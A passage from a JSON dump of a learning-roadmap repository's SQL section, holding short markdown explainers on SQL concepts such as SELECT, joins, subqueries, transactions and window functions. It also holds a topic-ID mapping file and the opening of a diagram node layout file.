    "content": "# Scalar\n\nA scalar value is a single data item, as opposed to a set or array of values. Scalar subqueries are queries that return exactly one column and one row, often used in `SELECT` statements, `WHERE` clauses, or as part of expressions. Scalar functions in SQL return a single value based on input parameters. Understanding scalar concepts is crucial for writing efficient and precise SQL queries.\n\nVisit the following resources to learn more:\n\n- [@article@Creating SQL Scalar Functions](https://www.ibm.com/docs/en/db2/11.5?topic=functions-creating-sql-scalar)\n- [@video@Using Scalar SQL to boost performance](https://www.youtube.com/watch?v=v8X5FGzzc9A)"
  },
  {
    "path": "src/data/roadmaps/sql/content/select@i8u8E_sne6XiKJo2FXDog.md",
    "content": "# Select Statement\n\nThe `SELECT` statement in SQL is used to retrieve data from one or more tables. It allows you to specify which columns you want to see and apply conditions to filter the rows returned. Think of it as a powerful tool to query a database and extract specific information based on your needs."
  },
  {
    "path": "src/data/roadmaps/sql/content/select@rmqXH29n1oXtZ8tvmcRFn.md",
    "content": "# SELECT statement\n\nSELECT is one of the most fundamental SQL commands, used to retrieve data from one or more tables in a database. It allows you to specify which columns to fetch, apply filtering conditions, sort results, and perform various operations on the data. The SELECT statement is versatile, supporting joins, subqueries, aggregations, and more, making it essential for data querying and analysis in relational databases."
  },
  {
    "path": "src/data/roadmaps/sql/content/selective-projection@w53CSY53nAAN0ux-XeJ4c.md",
    "content": "# Selective Projection\n\nSelective projection in SQL refers to the practice of choosing only specific columns (attributes) from a table or query result, rather than selecting all available columns. This technique is crucial for optimizing query performance and reducing unnecessary data transfer. By using SELECT with explicitly named columns instead of `SELECT *`, developers can improve query efficiency and clarity, especially when dealing with large tables or complex joins."
  },
  {
    "path": "src/data/roadmaps/sql/content/self-join@6qG0AVYd6Y1B8LOSDoMX9.md",
    "content": "# Self Join\n\nA self join is a query in SQL that joins a table to itself. This is useful when you want to compare rows within the same table, often based on a hierarchical relationship or other connection between the data points within that table. Think of it as creating two copies of the same table and then joining them based on a shared column, allowing you to relate data from the same source in a new way.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding the Self Joins in SQL](https://www.dbvis.com/thetable/understanding-self-joins-in-sql/)\n- [@article@SQL self joins](https://www.w3schools.com/sql/sql_join_self.asp)"
  },
  {
    "path": "src/data/roadmaps/sql/content/sql-keywords@6yoo7qC6X2jYDIjd3HIm7.md",
    "content": "# SQL keywords\n\nSQL keywords are reserved words that have special meanings within SQL statements. These include commands (like `SELECT`, `INSERT`, `UPDATE`), clauses (such as `WHERE`, `GROUP BY`, `HAVING`), and other syntax elements that form the structure of SQL queries. Understanding SQL keywords is fundamental to writing correct and effective database queries. Keywords are typically case-insensitive but are often written in uppercase by convention for better readability.\n\nVisit the following resources to learn more:\n\n- [@article@SQL Keywords, Operators and Statements](https://blog.hubspot.com/website/sql-keywords-operators-statements)"
  },
  {
    "path": "src/data/roadmaps/sql/content/sql-vs-nosql-databases@gx4KaFqKgJX9n9_ZGMqlZ.md",
    "content": "# SQL vs NoSQL\n\nSQL (relational) and NoSQL (non-relational) databases represent two different approaches to data storage and retrieval. SQL databases use structured schemas and tables, emphasizing data integrity and complex queries through joins. NoSQL databases offer more flexibility in data structures, often sacrificing some consistency for scalability and performance. The choice between SQL and NoSQL depends on factors like data structure, scalability needs, consistency requirements, and the nature of the application.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding SQL vs NoSQL Databases](https://www.mongodb.com/resources/basics/databases/nosql-explained/nosql-vs-sql)\n- [@video@SQL vs NoSQL Databases in 4 mins](https://www.youtube.com/watch?v=_Ss42Vb1SU4)"
  },
  {
    "path": "src/data/roadmaps/sql/content/stored-procedures--functions@w7FNjdwqjY7X69aJqqBy4.md",
    "content": "# Stored Procedures and Functions\n\nStored procedures and functions are precompiled database objects that encapsulate a set of SQL statements and logic. Stored procedures can perform complex operations and are typically used for data manipulation, while functions are designed to compute and return values. Both improve performance by reducing network traffic and allowing code reuse. They also enhance security by providing a layer of abstraction between the application and the database.\n\nVisit the following resources to learn more:\n\n- [@article@Stored Procedure vs Functions](https://www.shiksha.com/online-courses/articles/stored-procedure-vs-function-what-are-the-differences/)"
  },
  {
    "path": "src/data/roadmaps/sql/content/subqueries@86iZ8s8EdhSuYwgwAM_EO.md",
    "content": "# Sub Queries\n\nSubqueries, also known as nested queries or inner queries, are SQL queries embedded within another query. They can be used in various parts of SQL statements, such as SELECT, FROM, WHERE, and HAVING clauses. Subqueries allow for complex data retrieval and manipulation by breaking down complex queries into more manageable parts. They're particularly useful for creating dynamic criteria, performing calculations, or comparing sets of results.\n\nVisit the following resources to learn more:\n\n- [@article@SQL Sub Queries](https://www.tutorialspoint.com/sql/sql-sub-queries.htm)\n- [@video@Advanced SQL Tutorial | Subqueries](https://www.youtube.com/watch?v=m1KcNV-Zhmc)"
  },
  {
    "path": "src/data/roadmaps/sql/content/substring@PnG_5D6q66NAKxXVOwA6N.md",
    "content": "# SUBSTRING\n\nSUBSTRING is a SQL function used to extract a portion of a string. It allows you to specify the starting position and length of the substring you want to extract. This function is valuable for data manipulation, parsing, and formatting tasks. The exact syntax may vary slightly between database systems, but the core functionality remains consistent, making it a versatile tool for working with string data in databases.\n\nVisit the following resources to learn more:\n\n- [@article@SQL SUBSTRING](https://www.w3schools.com/sql/func_sqlserver_substring.asp)\n- [@video@Advanced SQL Tutorial | String Functions + Use Cases](https://www.youtube.com/watch?v=GQj6_6V_jVA)"
  },
  {
    "path": "src/data/roadmaps/sql/content/sum@w4T3jFb0ilf1KNw-AvRXG.md",
    "content": "# SUM\n\nSUM is an aggregate function in SQL used to calculate the total of a set of values. It's commonly used with numeric columns in combination with GROUP BY clauses to compute totals for different categories or groups within the data. SUM is essential for financial calculations, statistical analysis, and generating summary reports from database tables. It ignores NULL values and can be used in conjunction with other aggregate functions for complex data analysis.\n\nVisit the following resources to learn more:\n\n- [@article@SQL SUM](https://www.studysmarter.co.uk/explanations/computer-science/databases/sql-sum/)"
  },
  {
    "path": "src/data/roadmaps/sql/content/table@R9WDMRd-3wxsKH97-sT3n.md",
    "content": "# Table\n\nA table is a fundamental structure for organizing data in a relational database. It consists of rows (records) and columns (fields), representing a collection of related data entries. Tables define the schema of the data, including data types and constraints. They are the primary objects for storing and retrieving data in SQL databases, and understanding table structure is crucial for effective database design and querying.\n\nVisit the following resources to learn more:\n\n- [@article@Table (Database)](https://en.wikipedia.org/wiki/Table_(database))\n- [@article@Introduction to Tables](https://support.microsoft.com/en-gb/office/introduction-to-tables-78ff21ea-2f76-4fb0-8af6-c318d1ee0ea7)"
  },
  {
    "path": "src/data/roadmaps/sql/content/time@88KlrMqSza9_YaD7Dv61p.md",
    "content": "# TIME\n\nThe TIME data type in SQL is used to store time values, typically in the format of hours, minutes, and seconds. It's useful for recording specific times of day without date information. SQL provides various functions for manipulating and comparing TIME values, allowing for time-based calculations and queries. The exact range and precision of TIME can vary between different database management systems.\n\nLearn more from the following resources:"
  },
  {
    "path": "src/data/roadmaps/sql/content/timestamp@7hEqkoxkdAWmakGZsMJx-.md",
    "content": "# TIMESTAMP\n\nA TIMESTAMP is a data type used to store a specific point in time, typically including both date and time components. It often includes fractions of a second (milliseconds or microseconds) for greater precision. It is very common for databases to have a timestamp that automatically updates when a row is updated.\n\nVisit the following resources to learn more:\n\n- [@article@Different SQL TimeStamp functions in SQL Server](https://www.sqlshack.com/different-sql-timestamp-functions-in-sql-server/)"
  },
  {
    "path": "src/data/roadmaps/sql/content/transaction-isolation-levels@ujeq8EIFcrqkBjoFizsJM.md",
    "content": "# Transaction Isolation Levels\n\nTransaction isolation levels in SQL define the degree to which the operations in one transaction are visible to other concurrent transactions. There are typically four standard levels: Read Uncommitted, Read Committed, Repeatable Read, and Serializable. Each level provides different trade-offs between data consistency and concurrency. Understanding and correctly setting isolation levels is crucial for maintaining data integrity and optimizing performance in multi-user database environments.\n\nVisit the following resources to learn more:\n\n- [@article@Everything you always wanted to know about SQL isolation levels](https://www.cockroachlabs.com/blog/sql-isolation-levels-explained/)\n- [@article@Isolation Levels in SQL Server](https://www.sqlservercentral.com/articles/isolation-levels-in-sql-server)"
  },
  {
    "path": "src/data/roadmaps/sql/content/transactions@OdaBXz2XBAVLsQ-m7xtAM.md",
    "content": "# Transactions\n\nTransactions in SQL are units of work that group one or more database operations into a single, atomic unit. They ensure data integrity by following the ACID properties: Atomicity (all or nothing), Consistency (database remains in a valid state), Isolation (transactions don't interfere with each other), and Durability (committed changes are permanent). Transactions are essential for maintaining data consistency in complex operations and handling concurrent access to the database.\n\nVisit the following resources to learn more:\n\n- [@article@Transactions](https://www.tutorialspoint.com/sql/sql-transactions.htm)\n- [@article@A Guide to ACID Properties in Database Management Systems](https://www.mongodb.com/resources/basics/databases/acid-transactions)"
  },
  {
    "path": "src/data/roadmaps/sql/content/truncate-table@K5vhqTJrdPK08Txv8zaEj.md",
    "content": "# Truncate Table\n\nTruncate Table is a command in SQL used to remove all rows from a table.  It's like resetting the table to its initial, empty state.  The table structure itself (columns, data types, constraints) remains intact. `TRUNCATE TABLE` is generally faster than `DELETE` because it deallocates the data pages used by the table, rather than individually logging each row deletion.\n\nVisit the following resources to learn more:\n\n- [@article@TRUNCATE TABLE](https://www.tutorialspoint.com/sql/sql-truncate-table.htm)\n- [@video@SQL Tutorial - TRUNCATE TABLE](https://www.youtube.com/watch?v=zJidbjOQlJM)"
  },
  {
    "path": "src/data/roadmaps/sql/content/unique@5yGo8i7eplxtXOD_qfzOs.md",
    "content": "# Unique Constraint\n\nA unique constraint ensures that all values in a column (or a group of columns) are different. It prevents duplicate entries, maintaining data integrity by enforcing uniqueness for the specified field(s). This is useful for fields like email addresses or usernames, where each record should have a distinct value.\n\nVisit the following resources to learn more:\n\n- [@article@SQL UNIQUE Constraint](https://www.w3schools.com/sql/sql_unique.asp)"
  },
  {
    "path": "src/data/roadmaps/sql/content/update@KJJ6PYjTnr_3yU2mNPL9v.md",
    "content": "# UPDATE Statement\n\nThe UPDATE statement modifies existing data within a table. It allows you to change the values of one or more columns in a table, based on specified conditions. You can update a single row or multiple rows, and it's essential for keeping your database information accurate and current.\n\nVisit the following resources to learn more:\n\n- [@article@Efficient column updates in SQL](https://www.atlassian.com/data/sql/how-to-update-a-column-based-on-a-filter-of-another-column)"
  },
  {
    "path": "src/data/roadmaps/sql/content/update@eu9dJFi6gBPMBdy08Y5Bb.md",
    "content": "# UPDATE Statement\n\nThe UPDATE statement modifies existing data within a table. It allows you to change the values of one or more columns for specific rows based on a specified condition. You use the `UPDATE` statement to correct errors, reflect changes in data, or apply new information to your database.\n\nVisit the following resources to learn more:\n\n- [@article@Efficient column updates in SQL](https://www.atlassian.com/data/sql/how-to-update-a-column-based-on-a-filter-of-another-column)"
  },
  {
    "path": "src/data/roadmaps/sql/content/upper@Othfo7NvTVzfyL906PLM1.md",
    "content": "# UPPER\n\nUPPER is a string function that transforms all characters in a given string to uppercase. It accepts a single string or character-based column as an argument and returns a new string where every letter has been converted to its uppercase equivalent. Non-alphabetic characters and already uppercase characters remain unchanged.\n\nVisit the following resources to learn more:\n\n- [@article@How to Convert a String to Uppercase in SQL](https://learnsql.com/cookbook/how-to-convert-a-string-to-uppercase-in-sql/)"
  },
  {
    "path": "src/data/roadmaps/sql/content/using-indexes@9wOgP0i9G4HSeZGn2Gm7r.md",
    "content": "# Using Indexes\n\nIndexes in SQL are database objects that improve the speed of data retrieval operations on database tables. They work similarly to an index in a book, allowing the database engine to quickly locate data without scanning the entire table. Proper use of indexes can significantly enhance query performance, especially for large tables. However, they come with trade-offs: while they speed up reads, they can slow down write operations (INSERT, UPDATE, DELETE) as the index also needs to be updated. Common types include B-tree indexes (default in most systems), bitmap indexes, and full-text indexes. Understanding when and how to create indexes is crucial for database optimization. This involves analyzing query patterns, understanding the data distribution, and balancing the needs of different types of operations on the database.\n\nVisit the following resources to learn more:\n\n- [@article@What is an index in SQL?](https://stackoverflow.com/questions/2955459/what-is-an-index-in-sql)\n- [@video@SQL Indexes - Definition, Examples, and Tips](https://www.youtube.com/watch?v=NZgfYbAmge8)"
  },
  {
    "path": "src/data/roadmaps/sql/content/views@2tyezwOIxV6O84N-Q3Awh.md",
    "content": "# Views\n\nViews are like virtual tables. Instead of physically storing data, a view's definition is based on a query against one or more tables. When you query a view, the database executes the underlying query defined in the view, and the results are presented as if they were from an actual table. This simplifies complex queries and provides a level of data abstraction and security.\n\nVisit the following resources to learn more:\n\n- [@article@Views in SQL](https://www.datacamp.com/tutorial/views-in-sql)\n- [@video@SQL Views Tutorial](https://www.youtube.com/watch?v=cLSxasHg9WY)"
  },
  {
    "path": "src/data/roadmaps/sql/content/what-are-relational-databases@R9DQNc0AyAQ2HLpP4HOk6.md",
    "content": "# Relational Databases\n\nRelational databases organize data into tables, where each table represents a specific type of entity (like customers or products). These tables are linked together based on relationships between the data, often using shared columns called keys. This structure allows for efficient storage, retrieval, and management of large datasets while ensuring data integrity and consistency.\n\nVisit the following resources to learn more:\n\n- [@article@What is a relational database - AWS](https://aws.amazon.com/relational-database/)\n- [@video@What is a relational database?](https://www.youtube.com/watch?v=OqjJjpjDRLc)"
  },
  {
    "path": "src/data/roadmaps/sql/content/where@WhYAy6f7Euk3E49-ot644.md",
    "content": "# WHERE Clause in SELECT Statements\n\nThe WHERE clause is a fundamental part of the SELECT statement in SQL. It filters the rows returned by a query based on a specified condition.  Essentially, it allows you to retrieve only the data that meets certain criteria, enabling you to focus on specific subsets of information within your database tables.\n\nVisit the following resources to learn more:\n\n- [@article@WHERE Clause](https://www.w3schools.com/sql/sql_where.asp)\n- [@video@How to filter with the WHERE clause in SQL](https://www.youtube.com/watch?v=4Uv0o8IBqw0)"
  },
  {
    "path": "src/data/roadmaps/sql/content/window-functions@tBvXLLp5FKeSSN35Kj1X4.md",
    "content": "# Window Functions\n\nWindow functions perform calculations across a set of rows that are related to the current row. Unlike standard aggregate functions that group rows into a single result row, window functions retain the individual rows and add a calculated value for each row based on the window frame. This allows you to perform analyses like calculating running totals, moving averages, or ranking within partitions of data without collapsing the rows.\n\nVisit the following resources to learn more:\n\n- [@article@SQL Window Functions](https://mode.com/sql-tutorial/sql-window-functions)\n- [@video@SQL Window Functions in 10 Minutes](https://www.youtube.com/watch?v=y1KCM8vbYe4)"
  },
  {
    "path": "src/data/roadmaps/sql/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/sql/migration-mapping.json",
    "content": "{\n  \"introduction\": \"nhUKKWyBH80nyKfGT8ErC\",\n  \"introduction:what-are-relational-databases\": \"R9DQNc0AyAQ2HLpP4HOk6\",\n  \"introduction:rdbms-benefits-limitations\": \"fNTb9y3zs1HPYclAmu_Wv\",\n  \"introduction:sql-vs-nosql\": \"gx4KaFqKgJX9n9_ZGMqlZ\",\n  \"basic-syntax\": \"JDDG4KfhtIlw1rkNCzUli\",\n  \"basic-syntax:keywords\": \"6yoo7qC6X2jYDIjd3HIm7\",\n  \"basic-syntax:data-types\": \"tBzMDfCMh6MIagNaxCzin\",\n  \"basic-syntax:operators\": \"ffwniprGJHZzJ7t3lQcXz\",\n  \"basic-syntax:statements:select\": \"rmqXH29n1oXtZ8tvmcRFn\",\n  \"basic-syntax:statements:insert\": \"mPj6BiK5FKKkIQ9WsWEo6\",\n  \"basic-syntax:statements:update\": \"eu9dJFi6gBPMBdy08Y5Bb\",\n  \"basic-syntax:statements:delete\": \"ddtVaA4Ls6qRj-7OtTSIH\",\n  \"ddl\": \"xPOeXK1EPBNG56vgfG-VV\",\n  \"ddl:drop-table\": \"YzJ6QmY2arMfRzMAPaI0T\",\n  \"ddl:create-table\": \"epEpBxRosLhuAuKwp823r\",\n  \"ddl:alter-table\": \"WjXlO42WL9saDS7RIGapt\",\n  \"ddl:truncate-table\": \"K5vhqTJrdPK08Txv8zaEj\",\n  \"dml\": \"WMSXi-eez_hHGDM8kUdWz\",\n  \"dml:select\": \"i8u8E_sne6XiKJo2FXDog\",\n  \"dml:from\": \"N1Racr3ZpU320gS545We8\",\n  \"dml:where\": \"WhYAy6f7Euk3E49-ot644\",\n  \"dml:order-by\": \"NfCiSPrL4upMssukcw3Kh\",\n  \"dml:group-by\": \"14TKE6KhrH1yFtHcSZSXq\",\n  \"dml:having\": \"ytwCkSMTiTuemE0KVfAfy\",\n  \"dml:joins\": \"4UQQYbjzwVxZOAxBuXKQS\",\n  \"dml:insert\": \"-Hew0y53ziZK3epQnGA0O\",\n  \"dml:update\": \"KJJ6PYjTnr_3yU2mNPL9v\",\n  \"dml:delete\": \"zWnvuHJLHr03PWkrW1wZZ\",\n  \"aggregate-queries\": \"LX9nzJ4uqznHN4SksoDvr\",\n  \"aggregate-queries:sum\": \"w4T3jFb0ilf1KNw-AvRXG\",\n  \"aggregate-queries:count\": \"9aHYrOQDkA84tlxcVK5aD\",\n  \"aggregate-queries:avg\": \"Wou6YXLYUgomvcELh851L\",\n  \"aggregate-queries:min\": \"bFEYMlqPZtTUYtDQxqHzT\",\n  \"aggregate-queries:max\": \"YqDJq3fPxUZlwsdq0kJg7\",\n  \"aggregate-queries:group-by\": \"Zw8IHfCCMSxmVjx5Ho5ff\",\n  \"aggregate-queries:having\": \"HhICJpCK5__b-itUoEBES\",\n  \"data-constraints\": \"qBios3sZVhcJMpXmj9f7B\",\n  \"data-constraints:primary-key\": \"Jlwmyq6CUQeDAlL4dazOP\",\n  \"data-constraints:foreign-key\": \"DHz6sRLYhFeCbAcNJS8hm\",\n  \"data-constraints:unique\": \"5yGo8i7eplxtXOD_qfzOs\",\n  \"data-constraints:not-null\": \"M4M_-vjM9GNy0NmXZneDA\",\n  \"data-constraints:check\": \"Q0h9Wfnl_W9ThOkv7Q17A\",\n  \"join-queries\": \"8V6yw7kLaow-VVcv_K_pL\",\n  \"join-queries:inner-join\": \"aaua13CkTxLOYXr8cAgPm\",\n  \"join-queries:left-join\": \"X9cJJ8zLZCF2cOoqxwFfY\",\n  \"join-queries:right-join\": \"shpgZkh1CLqUwjOaRtAFy\",\n  \"join-queries:full-outer-join\": \"aS5zCyJRA779yHF0G2pje\",\n  \"join-queries:self-join\": \"6qG0AVYd6Y1B8LOSDoMX9\",\n  \"join-queries:cross-join\": \"7ow6tiSSCnTpv_GYQU017\",\n  \"sub-queries\": \"86iZ8s8EdhSuYwgwAM_EO\",\n  \"sub-queries:types:scalar\": \"eXQ-TrTlqL5p2AdGnozkL\",\n  \"sub-queries:types:column\": \"wmtt-3auWLdQWuVdwZLPd\",\n  \"sub-queries:types:row\": \"aLDl75i8gtLRA2Ud-fMmQ\",\n  \"sub-queries:types:table\": \"R9WDMRd-3wxsKH97-sT3n\",\n  \"sub-queries:nested-subqueries\": \"xkPJ2MYiXmzC4yqQWyB_7\",\n  \"sub-queries:correlated-subqueries\": \"JZqS3Xapw6mfSPVgFW7av\",\n  \"advanced-sql-functions\": \"vTMd0bqz4eTgLnhfgY61h\",\n  \"advanced-sql-functions:floor\": \"o2SH4iQn1Ap2yDZ7cVYLO\",\n  \"advanced-sql-functions:abs\": \"6vYFb_D1N_-tLWZftL-Az\",\n  \"advanced-sql-functions:mod\": \"OUw--8zEq6lk5-6oySVHe\",\n  \"advanced-sql-functions:round\": \"9DntFiZV1AyaRPhYP5q6u\",\n  \"advanced-sql-functions:ceiling\": \"BAqJQvcguhIhzyII5LRH6\",\n  \"advanced-sql-functions:conditional:case\": \"W2ePJHdfEiEJ3ZKoRQKt_\",\n  \"advanced-sql-functions:conditional:nullif\": \"KI6vngoYcHsnpIk8ErhhS\",\n  \"advanced-sql-functions:conditional:coalesce\": \"k7lZe4QRt9q4InUImFmvx\",\n  \"advanced-sql-functions:string:concat\": \"5inpEqafeVCfqsURHzQQg\",\n  \"advanced-sql-functions:string:length\": \"RH8DLiQpDUWqw3U1522q5\",\n  \"advanced-sql-functions:string:substring\": \"PnG_5D6q66NAKxXVOwA6N\",\n  \"advanced-sql-functions:string:replace\": \"VNbb3YPc0FtrROylRns8h\",\n  \"advanced-sql-functions:string:upper\": \"Othfo7NvTVzfyL906PLM1\",\n  \"advanced-sql-functions:string:lower\": \"knTG6pAq2mYP24WMa29xI\",\n  \"advanced-sql-functions:date-time:date\": \"Ivqo2wa-_NhGU3vGd0pUI\",\n  \"advanced-sql-functions:date-time:time\": \"88KlrMqSza9_YaD7Dv61p\",\n  \"advanced-sql-functions:date-time:datepart\": \"BJ4fQvagTO0B5UtXblyx8\",\n  \"advanced-sql-functions:date-time:dateadd\": \"1E1WdWOyqxbbdiIbw26dZ\",\n  \"advanced-sql-functions:date-time:timestamp\": \"7hEqkoxkdAWmakGZsMJx-\",\n  \"views\": \"2tyezwOIxV6O84N-Q3Awh\",\n  \"views:creating\": \"PcsGK4VBh0zNQIPZvNES4\",\n  \"views:modifying\": \"3eE-l-P93nOXoWfLr8PSW\",\n  \"views:dropping\": \"MIOuWWcCjLAmgzog2DBC3\",\n  \"indexes\": \"LcljR70T-OnzSrJJDqOWf\",\n  \"indexes:managing-indexes\": \"NtxGd6Vx-REBclry7lZuE\",\n  \"indexes:query-optimization\": \"Ps9Yv2s-bKvEegGAbPsiA\",\n  \"transactions\": \"OdaBXz2XBAVLsQ-m7xtAM\",\n  \"transactions:acid\": \"igg34gLPl3HYVAmRNFGcV\",\n  \"transactions:begin\": \"7sTW1vwUhCFOMXYjScVEt\",\n  \"transactions:commit\": \"3cMECz5QPVDOFrk5duObs\",\n  \"transactions:rollback\": \"xbD67KVlt3UhHpKh8HLx8\",\n  \"transactions:savepoint\": \"pJtYvXUo81aZfPuRjIbMq\",\n  \"transactions:isolation-levels\": \"ujeq8EIFcrqkBjoFizsJM\",\n  \"integrity-security\": \"R1ktDJpXOz0PTllAcBrdu\",\n  \"integrity-security:constraints\": \"mBQ3Z8GlFcpIena3IB7D_\",\n  \"integrity-security:grant-revoke\": \"03qMopxzjx_-dZbYw9b7J\",\n  \"integrity-security:security-best-practices\": \"vhBZqqmUcEon6-Vwvla4q\",\n  \"stored-procedures-functions\": \"w7FNjdwqjY7X69aJqqBy4\",\n  \"perf-optimization\": \"4rqCPpTb0dAgpheBKshRG\",\n  \"perf-optimization:query-optimization:indexes\": \"9wOgP0i9G4HSeZGn2Gm7r\",\n  \"perf-optimization:query-optimization:optimizing-joins\": \"C0dhS6uLf4TUSfvcWyXhv\",\n  \"perf-optimization:query-optimization:reducing-subqueries\": \"UVTgbZrqpbYl1bQvQejcF\",\n  \"perf-optimization:query-optimization:selective-projection\": \"w53CSY53nAAN0ux-XeJ4c\",\n  \"perf-optimization:query-analysis\": \"C6P69YiFdS-ioPXMNfX07\",\n  \"advanced-sql\": \"UDqbT1y-YzBrljfKSz_RG\",\n  \"advanced-sql:recursive-queries\": \"TjgwabhEtaSoYMLNr6q9l\",\n  \"advanced-sql:pivot-unpivot\": \"nwFaz9i-1s0WVrVaFsoqb\",\n  \"advanced-sql:window-functions\": \"tBvXLLp5FKeSSN35Kj1X4\",\n  \"advanced-sql:ctes\": \"tedQynR0xicVKhuR1oahw\",\n  \"advanced-sql:dynamic-sql\": \"z5Sf0VU14ZCQ80kL1qOqc\",\n  \"advanced-sql:window-functions:rank\": \"cucCPw3KfetAP2OMFUs0X\",\n  \"advanced-sql:window-functions:dense-rank\": \"QM0ltgPu8lLLYc2MsTLj-\",\n  \"advanced-sql:window-functions:lead\": \"aJJjaGunRrwyh9MjQfJt-\",\n  \"advanced-sql:window-functions:lag\": \"BcXdxY6bld5c0YNFSKkh-\",\n  \"advanced-sql:window-functions:row-number\": \"zW27ZHdLwQY-85iqbBKQZ\"\n}"
  },
  {
    "path": "src/data/roadmaps/sql/sql.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"7DdMLjcx-zh7nwoILnWgn\",\n      \"type\": \"linksgroup\",\n      \"position\": { \"x\": -611.9219566015802, \"y\": -233.7695706291704 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"links\": [\n          {\n            \"id\": \"xnuo73dpjpTVvJa65hw8Y\",\n            \"label\": \"PostgreSQL Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/postgresql-dba\"\n          },\n          {\n            \"id\": \"ZKSb0nzZ-jFu8vP_nbhRD\",\n            \"label\": \"MongoDB Roadmap\",\n            \"url\": \"https://roadmap.sh/mongodb\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 322,\n      \"height\": 95,\n      \"positionAbsolute\": { \"x\": -611.9219566015802, \"y\": -233.7695706291704 },\n      \"dragging\": false,\n      \"style\": { \"width\": 322, \"height\": 95 },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 322, \"height\": 95 }\n    },\n    {\n      \"id\": \"uAWe6RysRWSe8PqyYQKKX\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 92.74891832888147, \"y\": 1732.8028446032797 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 101,\n      \"style\": { \"width\": 21, \"height\": 101 },\n      \"positionAbsolute\": { \"x\": 92.74891832888147, \"y\": 1732.8028446032797 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 21, \"height\": 101 }\n    },\n    {\n      \"id\": \"GEdhZU9WflZsSbHIAL6Y8\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -599.9741508977197, \"y\": 1805.4578222275159 },\n      \"width\": 272,\n      \"height\": 270,\n      \"style\": { \"width\": 272, \"height\": 270 },\n      \"selected\": true,\n      \"data\": {\n        \"style\": { \"backgroundColor\": \"#ffffff\", \"borderColor\": \"#000000\" }\n      },\n      \"positionAbsolute\": { \"x\": -599.9741508977197, \"y\": 1805.4578222275159 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 272, \"height\": 270 }\n    },\n    {\n      \"id\": \"hWk-3dRw9XQyHpc9_oxet\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -111.76200280604616, \"y\": 1372.4268132068846 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 167,\n      \"style\": { \"width\": 21, \"height\": 167 },\n      \"positionAbsolute\": { \"x\": -111.76200280604616, \"y\": 1372.4268132068846 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 21, \"height\": 167 }\n    },\n    {\n      \"id\": \"bxQ-MepnAll0CkNFpqeJA\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 244.58982076233502, \"y\": 1372.4268132068846 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"hWk-3dRw9XQyHpc9_oxet\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 167,\n      \"style\": { \"width\": 21, \"height\": 167 },\n      \"positionAbsolute\": { \"x\": 244.58982076233502, \"y\": 1372.4268132068846 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 21, \"height\": 167 }\n    },\n    {\n      \"id\": \"V800FmJL7JvYLHj_s6Qpe\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 368.94949271295843, \"y\": 1461.4268132068846 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"hWk-3dRw9XQyHpc9_oxet\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 78,\n      \"style\": { \"width\": 21, \"height\": 78 },\n      \"positionAbsolute\": { \"x\": 368.94949271295843, \"y\": 1461.4268132068846 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 21, \"height\": 78 }\n    },\n    {\n      \"id\": \"XeLCXJ5VfwHrIFGqcB8QH\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 335.47198755548254, \"y\": 1208.3834408721723 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 95,\n      \"style\": { \"width\": 21, \"height\": 95 },\n      \"positionAbsolute\": { \"x\": 335.47198755548254, \"y\": 1208.3834408721723 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 21, \"height\": 95 }\n    },\n    {\n      \"id\": \"eyqdjMFVONWDshElnh-fS\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -314.2510816711185, \"y\": 1122.8834408721723 },\n      \"width\": 219,\n      \"height\": 196,\n      \"style\": { \"width\": 219, \"height\": 195.5 },\n      \"selected\": true,\n      \"data\": 